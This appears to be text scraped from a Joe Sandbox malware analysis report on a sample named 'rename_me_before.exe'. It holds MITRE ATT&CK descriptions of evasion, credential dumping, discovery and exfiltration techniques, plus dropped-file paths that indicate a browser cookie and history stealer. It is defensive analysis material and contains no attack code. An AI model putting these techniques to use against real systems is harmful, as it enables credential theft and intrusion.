Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control ).
Tactics:	Collection, Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rename_me_before.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Historys.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Display (1).png

Windows Analysis Report
rename_me_before.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre